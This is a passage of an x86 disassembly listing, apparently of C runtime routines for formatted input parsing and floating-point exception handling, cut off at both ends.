loc_420C47: ; CODE XREF: sub_420510+729j
; sub_420510+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
loc_420C55: ; CODE XREF: sub_420510+543j
mov [ebp+var_14], ebx
loc_420C58: ; CODE XREF: sub_420510+4FDj
; sub_420510+52Dj ...
cmp [ebp+var_30], 0
jz loc_420D71
cmp [ebp+var_F], 0
jnz loc_420D4F
loc_420C6C: ; CODE XREF: sub_420510+82Cj
cmp esi, 78h
jnz short loc_420CC0
cmp dword_43CBE4, 1
jle short loc_420C89
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420C96
; ---------------------------------------------------------------------------
loc_420C89: ; CODE XREF: sub_420510+768j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 80h
loc_420C96: ; CODE XREF: sub_420510+777j
test eax, eax
jz loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420D13
; ---------------------------------------------------------------------------
loc_420CC0: ; CODE XREF: sub_420510+75Fj
cmp dword_43CBE4, 1
jle short loc_420CD5
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420CD5: ; CODE XREF: sub_420510+7B7j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_420CE0: ; CODE XREF: sub_420510+7C3j
test eax, eax
jz short loc_420D41
cmp esi, 6Fh
jnz short loc_420CFE
cmp ebx, 38h
jge short loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423F90
jmp short loc_420D0D
; ---------------------------------------------------------------------------
loc_420CFE: ; CODE XREF: sub_420510+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D280
loc_420D0D: ; CODE XREF: sub_420510+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420D13: ; CODE XREF: sub_420510+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420D2B
dec [ebp+var_C]
jz short loc_420D4F
loc_420D2B: ; CODE XREF: sub_420510+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420C6C
; ---------------------------------------------------------------------------
loc_420D41: ; CODE XREF: sub_420510+788j
; sub_420510+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420D4F: ; CODE XREF: sub_420510+756j
; sub_420510+819j
cmp [ebp+var_17], 0
jz loc_420E35
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420E35
; ---------------------------------------------------------------------------
loc_420D71: ; CODE XREF: sub_420510+74Cj
cmp [ebp+var_F], 0
jnz loc_420E2D
loc_420D7B: ; CODE XREF: sub_420510+90Aj
cmp esi, 78h
jz short loc_420DBF
cmp esi, 70h
jz short loc_420DBF
cmp dword_43CBE4, 1
jle short loc_420D9A
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DA5
; ---------------------------------------------------------------------------
loc_420D9A: ; CODE XREF: sub_420510+87Cj
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 4
loc_420DA5: ; CODE XREF: sub_420510+888j
test eax, eax
jz short loc_420E1F
cmp esi, 6Fh
jnz short loc_420DB8
cmp ebx, 38h
jge short loc_420E1F
shl edi, 3
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DB8: ; CODE XREF: sub_420510+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DBF: ; CODE XREF: sub_420510+86Ej
; sub_420510+873j
cmp dword_43CBE4, 1
jle short loc_420DD7
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DE4
; ---------------------------------------------------------------------------
loc_420DD7: ; CODE XREF: sub_420510+8B6j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, 80h
loc_420DE4: ; CODE XREF: sub_420510+8C5j
test eax, eax
jz short loc_420E1F
push ebx
shl edi, 4
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420DF7: ; CODE XREF: sub_420510+8A6j
; sub_420510+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420E09
dec [ebp+var_C]
jz short loc_420E2D
loc_420E09: ; CODE XREF: sub_420510+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420D7B
; ---------------------------------------------------------------------------
loc_420E1F: ; CODE XREF: sub_420510+897j
; sub_420510+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420E2D: ; CODE XREF: sub_420510+865j
; sub_420510+8F7j
cmp [ebp+var_17], 0
jz short loc_420E35
neg edi
loc_420E35: ; CODE XREF: sub_420510+843j
; sub_420510+85Cj ...
cmp esi, 46h
jnz short loc_420E3E
and [ebp+var_1C], 0
loc_420E3E: ; CODE XREF: sub_420510+928j
cmp [ebp+var_1C], 0
jz loc_420F16
cmp [ebp+var_E], 0
jnz short loc_420E77
inc [ebp+var_34]
loc_420E51: ; CODE XREF: sub_420510+23Bj
cmp [ebp+var_30], 0
jz short loc_420E67
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420510+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420E74
mov [eax], edi
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420510+95Ej
mov [eax], di
loc_420E77: ; CODE XREF: sub_420510+241j
; sub_420510+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420EC4
; ---------------------------------------------------------------------------
loc_420E82: ; CODE XREF: sub_420510+93j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420EF1
mov ecx, off_43C9D8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420EC4
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420EFF
dec [ebp+var_4]
loc_420EC4: ; CODE XREF: sub_420510+970j
; sub_420510+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420EDA
cmp byte ptr [esi], 25h
jnz short loc_420F1C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420F1C
mov esi, eax
loc_420EDA: ; CODE XREF: sub_420510+9B8j
mov al, [esi]
test al, al
jnz loc_42053A
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EE6: ; CODE XREF: sub_420510+1F4j
; sub_420510+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EF1: ; CODE XREF: sub_420510+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420EF6: ; CODE XREF: sub_420510+9DFj
call sub_420F86
pop ecx
pop ecx
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EFF: ; CODE XREF: sub_420510+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420F86
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
add esp, 10h
loc_420F16: ; CODE XREF: sub_420510+1Fj
; sub_420510+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420F2D
loc_420F1C: ; CODE XREF: sub_420510+9BDj
; sub_420510+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420F30
cmp [ebp+var_15], al
jnz short loc_420F30
or eax, 0FFFFFFFFh
jmp short loc_420F30
; ---------------------------------------------------------------------------
loc_420F2D: ; CODE XREF: sub_420510+A0Aj
mov eax, [ebp+var_34]
loc_420F30: ; CODE XREF: sub_420510+A11j
; sub_420510+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420510 endp
; =============== S U B R O U T I N E =======================================
sub_420F35 proc near ; CODE XREF: sub_420510+7A3p
; sub_420510+8DCp
arg_0 = dword ptr 4
cmp dword_43CBE4, 1
push esi
jle short loc_420F4F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_420F5E
; ---------------------------------------------------------------------------
loc_420F4F: ; CODE XREF: sub_420F35+8j
mov esi, [esp+4+arg_0]
mov eax, off_43C9D8
mov al, [eax+esi*2]
and eax, 4
loc_420F5E: ; CODE XREF: sub_420F35+18j
test eax, eax
jnz short loc_420F68
and esi, 0FFFFFFDFh
sub esi, 7
loc_420F68: ; CODE XREF: sub_420F35+2Bj
mov eax, esi
pop esi
retn
sub_420F35 endp
; =============== S U B R O U T I N E =======================================
sub_420F6C proc near ; CODE XREF: sub_420510+1E1p
; sub_420510+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420F7E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420F7E: ; CODE XREF: sub_420F6C+7j
push edx
call sub_41F043
pop ecx
retn
sub_420F6C endp
; =============== S U B R O U T I N E =======================================
sub_420F86 proc near ; CODE XREF: sub_420510+6Bp
; sub_420510+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420F9C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423FAF
pop ecx
pop ecx
locret_420F9C: ; CODE XREF: sub_420F86+5j
retn
sub_420F86 endp
; =============== S U B R O U T I N E =======================================
sub_420F9D proc near ; CODE XREF: sub_420510+63p
; sub_420510+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420FA3: ; CODE XREF: sub_420F9D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420F6C
mov edi, eax
push edi
call sub_41D670
pop ecx
test eax, eax
pop ecx
jnz short loc_420FA3
mov eax, edi
pop edi
pop esi
retn
sub_420F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420FC1(int,int,double,int)
sub_420FC1 proc near ; CODE XREF: sub_41C679+51p
; sub_41C7BF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D350, 0
jnz short loc_420FF6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421576
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420FC1+Aj
push 0FFFFh
mov dword_4DB958, 21h
push [ebp+arg_C]
call sub_4217E9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420FC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421014(int,int,double,double,int)
sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp
; sub_41C7BF:loc_41C882p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42135F
add esp, 0Ch
test eax, eax
jnz short loc_421052
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4210AC
add esp, 18h
loc_421052: ; CODE XREF: sub_421014+1Aj
push [ebp+arg_0]
call sub_421649
cmp dword_43D350, 0
pop ecx
jnz short loc_421090
test eax, eax
jz short loc_421090
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421576
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421090: ; CODE XREF: sub_421014+4Ej
; sub_421014+52j
push eax
call sub_4215FE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4217E9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421014 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210AC proc near ; CODE XREF: sub_421014+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4210DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4210DE: ; CODE XREF: sub_4210AC+23j
test cl, 2
jz short loc_4210F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4210F1: ; CODE XREF: sub_4210AC+35j
test cl, bl
jz short loc_421103
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421103: ; CODE XREF: sub_4210AC+47j
test cl, 4
jz short loc_421116
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421116: ; CODE XREF: sub_4210AC+5Aj
test cl, 8
jz short loc_421129
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421129: ; CODE XREF: sub_4210AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4217CC
test al, bl
jz short loc_4211B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4211B2: ; CODE XREF: sub_4210AC+FDj
test al, 4
jz short loc_4211BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4211BD: ; CODE XREF: sub_4210AC+108j
test al, 8
jz short loc_4211C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4211C8: ; CODE XREF: sub_4210AC+113j
test al, 10h
jz short loc_4211D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4211D2: ; CODE XREF: sub_4210AC+11Ej
test al, 20h
jz short loc_4211DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4211DC: ; CODE XREF: sub_4210AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42121B
cmp eax, 400h
jz short loc_42120D
cmp eax, 800h
jz short loc_421201
cmp eax, ecx
jnz short loc_421221
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_421201: ; CODE XREF: sub_4210AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421217
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_4210AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421217: ; CODE XREF: sub_4210AC+15Fj
mov [eax], ecx
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_42121B: ; CODE XREF: sub_4210AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421221: ; CODE XREF: sub_4210AC+14Bj
; sub_4210AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42124C
cmp eax, 200h
jz short loc_42123F
cmp eax, ecx
jnz short loc_421259
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421259
; ---------------------------------------------------------------------------
loc_42123F: ; CODE XREF: sub_4210AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421257
; ---------------------------------------------------------------------------
loc_42124C: ; CODE XREF: sub_4210AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421257: ; CODE XREF: sub_4210AC+19Ej
mov [eax], ecx
loc_421259: ; CODE XREF: sub_4210AC+189j
; sub_4210AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4217DA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 26903E1h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4212D3
and dword ptr [esi], 0FFFFFFFEh
loc_4212D3: ; CODE XREF: sub_4210AC+222j
test byte ptr [eax+8], 8
jz short loc_4212DC
and dword ptr [esi], 0FFFFFFFBh
loc_4212DC: ; CODE XREF: sub_4210AC+22Bj
test byte ptr [eax+8], 4
jz short loc_4212E5
and dword ptr [esi], 0FFFFFFF7h
loc_4212E5: ; CODE XREF: sub_4210AC+234j
test byte ptr [eax+8], 2
jz short loc_4212EE
and dword ptr [esi], 0FFFFFFEFh
loc_4212EE: ; CODE XREF: sub_4210AC+23Dj
test [eax+8], bl
jz short loc_4212F6
and dword ptr [esi], 0FFFFFFDFh
loc_4212F6: ; CODE XREF: sub_4210AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42132A
dec ecx
jz short loc_42131E
dec ecx
jz short loc_421314
dec ecx
jnz short loc_42132C
or byte ptr [esi+1], 0Ch
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_4210AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421326
; ---------------------------------------------------------------------------
loc_42131E: ; CODE XREF: sub_4210AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421326: ; CODE XREF: sub_4210AC+270j
mov [esi], ecx
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4210AC+257j
and [esi], edx
loc_42132C: ; CODE XREF: sub_4210AC+260j
; sub_4210AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42134C
dec ecx
jz short loc_421343
dec ecx
jnz short loc_421355
and [esi], edx
jmp short loc_421355
; ---------------------------------------------------------------------------
loc_421343: ; CODE XREF: sub_4210AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421353
; ---------------------------------------------------------------------------
loc_42134C: ; CODE XREF: sub_4210AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421353: ; CODE XREF: sub_4210AC+29Ej
mov [esi], ecx
loc_421355: ; CODE XREF: sub_4210AC+291j
; sub_4210AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4210AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42135F proc near ; CODE XREF: sub_421014+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42138A
test byte ptr [ebp+arg_8], bl
jz short loc_42138A
push ebx
call sub_42180C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42138A: ; CODE XREF: sub_42135F+15j
; sub_42135F+1Aj
test al, 4
jz short loc_4213A4
test byte ptr [ebp+arg_8], 4
jz short loc_4213A4
push 4
call sub_42180C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_4213A4: ; CODE XREF: sub_42135F+2Dj
; sub_42135F+33j
test al, bl
jz loc_42147E
test byte ptr [ebp+arg_8], 8
jz loc_42147E
push 8
call sub_42180C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421456
cmp ecx, 400h
jz short loc_42142E
cmp ecx, 800h
jz short loc_421406
cmp ecx, eax
jnz loc_421476
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fld dbl_43CF50
fnstsw ax
sahf
ja short loc_4213FE
fchs
loc_4213FE: ; CODE XREF: sub_42135F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421406: ; CODE XREF: sub_42135F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fnstsw ax
sahf
jbe short loc_42141E
fld dbl_43CF40
jmp short loc_421426
; ---------------------------------------------------------------------------
loc_42141E: ; CODE XREF: sub_42135F+B5j
fld dbl_43CF50
fchs
loc_421426: ; CODE XREF: sub_42135F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_42142E: ; CODE XREF: sub_42135F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fnstsw ax
sahf
jbe short loc_421446
fld dbl_43CF50
jmp short loc_42144E
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_42135F+DDj
fld dbl_43CF40
fchs
loc_42144E: ; CODE XREF: sub_42135F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421456: ; CODE XREF: sub_42135F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427878
fld dbl_43CF40
fnstsw ax
sahf
ja short loc_42146E
fchs
loc_42146E: ; CODE XREF: sub_42135F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421474: ; CODE XREF: sub_42135F+A5j
; sub_42135F+CDj ...
fstp qword ptr [ecx]
loc_421476: ; CODE XREF: sub_42135F+81j
and edi, 0FFFFFFFEh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_42135F+47j
; sub_42135F+51j
test al, 2
jz loc_421554
test byte ptr [ebp+arg_8], 10h
jz loc_421554
push esi
xor esi, esi
test al, 10h
jz short loc_421499
mov esi, ebx
loc_421499: ; CODE XREF: sub_42135F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427878
fnstsw ax
sahf
jz loc_421542
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42170B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4214E4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_4214E4: ; CODE XREF: sub_42135F+17Aj
fld [ebp+var_C]
fcomp dbl_427878
fnstsw ax
sahf
jnb short loc_4214F6
mov edx, ebx
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: sub_42135F+191j
xor edx, edx
loc_4214F8: ; CODE XREF: sub_42135F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42152C
sub eax, ecx
loc_42150F: ; CODE XREF: sub_42135F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42151A
test esi, esi
jnz short loc_42151A
mov esi, ebx
loc_42151A: ; CODE XREF: sub_42135F+1B3j
; sub_42135F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421526
or byte ptr [ebp+var_C+3], 80h
loc_421526: ; CODE XREF: sub_42135F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42150F
loc_42152C: ; CODE XREF: sub_42135F+1ACj
test edx, edx
jz short loc_421538
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421538: ; CODE XREF: sub_42135F+183j
; sub_42135F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421544
; ---------------------------------------------------------------------------
loc_421542: ; CODE XREF: sub_42135F+14Ej
mov esi, ebx
loc_421544: ; CODE XREF: sub_42135F+1E1j
test esi, esi
pop esi
jz short loc_421551
push 10h
call sub_42180C
pop ecx
loc_421551: ; CODE XREF: sub_42135F+1E8j
and edi, 0FFFFFFFDh
loc_421554: ; CODE XREF: sub_42135F+26j
; sub_42135F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42156B
test byte ptr [ebp+arg_8], 20h
jz short loc_42156B
push 20h
call sub_42180C
pop ecx
and edi, 0FFFFFFEFh
loc_42156B: ; CODE XREF: sub_42135F+1F9j
; sub_42135F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42135F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421576(int,int,int,int,int,int,double,int)
sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp
; sub_421014+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421624
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4215E1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
